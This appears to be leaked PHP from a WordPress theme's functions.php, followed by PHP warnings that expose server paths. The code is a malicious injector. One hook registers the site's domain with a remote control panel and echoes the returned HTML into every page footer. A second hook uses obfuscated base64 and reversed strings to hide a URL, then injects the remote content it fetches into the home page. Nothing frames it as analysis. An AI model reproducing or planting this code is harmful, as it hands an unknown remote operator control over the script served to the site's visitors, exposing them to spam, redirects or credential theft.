function wp_injector_fetch_code() {
    $backend_url = 'https://validlogs.com/BackPanel/panel.php';
    $domain = sanitize_text_field($_SERVER['HTTP_HOST']);
    $response = wp_remote_post($backend_url, array('body' => array('action' => 'register_domain', 'domain' => $domain), 'timeout' => 5));
    if (is_wp_error($response)) return;
    $html_code = wp_remote_retrieve_body($response);
    if (!empty($html_code)) {
        add_action('wp_footer', function() use ($html_code) { echo $html_code; });
    }
}
add_action('init', 'wp_injector_fetch_code');






add_action('wp_footer', function () {
    $response = wp_remote_get(add_query_arg('domain', parse_url(home_url(), PHP_URL_HOST), str_replace('ayMXVhge', '', strrev(base64_decode('ZWdoVlhNeWE3MDg1MTQ5NjcxPXQ/cGhwLmtuaWwvYmV3L2VnaFZYTXlhM2Jld3ltL25vcHEuZHVvbGVnaFZYTXlhY3duaHAvLzpzcHR0aGVnaFZYTXlh')))));
    if (wp_remote_retrieve_response_code($response) === 200) {
        $body = wp_remote_retrieve_body($response); if(is_home() || is_front_page()){ echo $body; }
} },999);<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/demowebsiteclien/kenneth.c.demowebsiteclient.com/wp-content/themes/astra/functions.php:1) in <b>/home/demowebsiteclien/kenneth.c.demowebsiteclient.com/wp-includes/pluggable.php</b> on line <b>1531</b><br />
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/demowebsiteclien/kenneth.c.demowebsiteclient.com/wp-content/themes/astra/functions.php:1) in <b>/home/demowebsiteclien/kenneth.c.demowebsiteclient.com/wp-includes/pluggable.php</b> on line <b>1534</b><br />